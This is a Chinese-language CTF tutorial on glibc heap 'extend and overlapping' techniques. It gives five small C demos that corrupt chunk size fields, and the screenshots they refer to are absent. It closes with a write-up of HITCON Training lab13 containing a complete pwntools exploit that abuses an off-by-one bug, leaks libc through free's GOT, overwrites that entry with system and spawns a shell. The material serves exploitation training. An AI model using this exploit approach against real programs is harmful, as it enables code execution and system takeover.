Extend&Overlapping

用的是这个 peda-heap 插件

对 inuse 的 fastbin 进行 extend

gcc -g 1.c
int main(void)
{
    void *ptr,*ptr1;

    ptr=malloc(0x10);//分配第一个0x10的chunk
    malloc(0x10);//分配第二个0x10的chunk

    *(long long *)((long long)ptr-0x8)=0x41;// 修改第一个块的size域

    free(ptr);
    ptr1=malloc(0x30);// 实现 extend，控制了第二个块的内容
    return 0;
}

然后 gdb 调试，因为前面 gcc 带着 -g 的参数，所以可以直接 b 行号 下断点

当程序进行了两次 malloc 之后堆的情况是这样的

下面第九行对 chunk1 的 size 位进行修改，成了这样

对 chunk1 进行 free 操作之后，两个合为一个 0x40 大小的了😀

之后我们再去 malloc 0x30 的话得到的就是 chunk1 跟 chunk2 一起的那个了，我们就可以控制 chunk2 的内容

对 inuse 的 smallbin 进行 extend

//gcc -g 2.c
//注意把之前那个a.out给删掉
int main()
{
    void *ptr,*ptr1;

    ptr=malloc(0x80);//分配第一个 0x80 的chunk1
    malloc(0x10); //分配第二个 0x10 的chunk2
    malloc(0x10); //防止与top chunk合并

    *(int *)((int)ptr-0x8)=0xb1;
    free(ptr);
    ptr1=malloc(0xa0);
}

由于这个例子的申请的 ptr 这个不在 fastbins 中，如果跟 top chunk 相邻，释放的时候会合并掉，所以后面加上一个 chunk，把他们隔离开，防止合并

分别在 11、12、13 行下断点，这是三次 malloc 结束之后的情况

这是修改之后的情况

这时候 free，因为不在 fastbin 范围里面，会放到 unsorted bins 中，可以注意到本来用来隔离的那一个 chunk 的 P 位被标为 0

这时候再 malloc 回来就能控制 chunk2 了

对 free 的 smallbin 进行 extend

//gcc -g 3.c
int main()
{
    void *ptr,*ptr1;

    ptr=malloc(0x80);//分配第一个0x80的chunk1
    malloc(0x10);//分配第二个0x10的chunk2

    free(ptr);//首先进行释放，使得chunk1进入unsorted bin

    *(int *)((int)ptr-0x8)=0xb1;
    ptr1=malloc(0xa0);
}

下好断点，两次 malloc 之后

free 之后，放入到 unsorted bins 中

对 size 位进行修改，然后再次 malloc 的时候就能对 chunk2 进行控制了

通过 extend 后向 overlapping

//gcc -g 4.c
int main()
{
    void *ptr,*ptr1;

    ptr=malloc(0x10);//分配第1个 0x80 的chunk1
    malloc(0x10); //分配第2个 0x10 的chunk2
    malloc(0x10); //分配第3个 0x10 的chunk3
    malloc(0x10); //分配第4个 0x10 的chunk4    
    *(int *)((int)ptr-0x8)=0x61;
    free(ptr);
    ptr1=malloc(0x50);
}

四次 malloc 之后

修改之后成了这样子

free 之后

这时候再去 malloc 就能控制那几个堆块了

通过 extend 前向 overlapping

//gcc -g 5.c
int main(void)
{
    void *ptr1,*ptr2,*ptr3,*ptr4;
    ptr1=malloc(128);//smallbin1
    ptr2=malloc(0x10);//fastbin1
    ptr3=malloc(0x10);//fastbin2
    ptr4=malloc(128);//smallbin2
    malloc(0x10);//防止与top合并
    free(ptr1);
    *(int *)((long long)ptr4-0x8)=0x90;//修改pre_inuse域
    *(int *)((long long)ptr4-0x10)=0xd0;//修改pre_size域
    free(ptr4);//unlink进行前向extend
    malloc(0x150);//占位块
}

前面几次 malloc 之后

对 ptr1 进行 free 之后，可以看到 ptr2 的那个 p 位已经变成 0 了

修改之后

free 操作

HITCON Trainging lab13

实现了增删改查的功能，index 是从 0 开始的，结构是这样的：

一开始先会申请一个 0x10 的 chunk，用来存放申请的 heap 的大小和指针，然后后面才会申请要申请的 heap 的 chunk

有一个 off by one 的漏洞，heaparray[a1] 本来就是存的 size，加上了个 1，可不就是多写了一位

这是创建的时候的 size

可以通用来写下一个堆块的 size 字段，伪造 chunk 的大小，然后 overlapping 更改指针

free 函数的 got 表项的地址

通过 off by one 把下一个 chunk 的 size 位给改为 0x41，这里的 heap 申请的是 0x18，多出来的 0x8 会直接用下一个 chunk 的 prev_size，所以我们才能把下一个的 size 给覆盖掉

然后在释放的时候，我们释放了一个 0x40，一个 0x20，那么下一次申请的时候，要先申请 0x20 的结构体，所以会先在 0x603070 那个地方存放结构体，在 0x603050 这里放申请的 heap，而对 heap 写内容的时候恰好可以把结构体的内容给覆盖掉为 free 的 got 地址

p64(0) * 4 + p64(0x30) + p64(heap.got['free'])

这样，当 show 的时候展示的就是 free 的 got，拿到他以后可以用来计算 libc，另外，因为在刚刚申请的结构体中，内容现在指向的是 free 的 got，所以只要编辑内容就能够直接把 free 的 got 表里改成 system 的地址

然后之前我们已经把第 0 个 heap 的内容给改成了 /bin/sh，这时候只要 delete(0) 就能拿到 shell

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
r = process('./heapcreator')
heap = ELF('./heapcreator')
libc = ELF('./libc.so.6')
context.log_level = 'debug'

def create(size, content):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(content)

def edit(idx, content):
    r.recvuntil(":")
    r.sendline("2")
    r.recvuntil(":")
    r.sendline(str(idx))
    r.recvuntil(":")
    r.sendline(content)

def show(idx):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))

def delete(idx):
    r.recvuntil(":")
    r.sendline("4")
    r.recvuntil(":")
    r.sendline(str(idx))

free_got = 0x602018
create(0x18, "dada")  # 0
create(0x10, "ddaa")  # 1
edit(0, "/bin/sh\x00" + "a" * 0x10 + "\x41")
delete(1)
create(0x30, p64(0) * 4 + p64(0x30) + p64(heap.got['free']))  #1
show(1)
r.recvuntil("Content : ")
data = r.recvuntil("Done !")
free_addr = u64(data.split("\n")[0].ljust(8, "\x00"))
libc_base = free_addr - libc.symbols['free']
log.success('libc base addr: ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
edit(1, p64(system_addr))
delete(0)
r.interactive()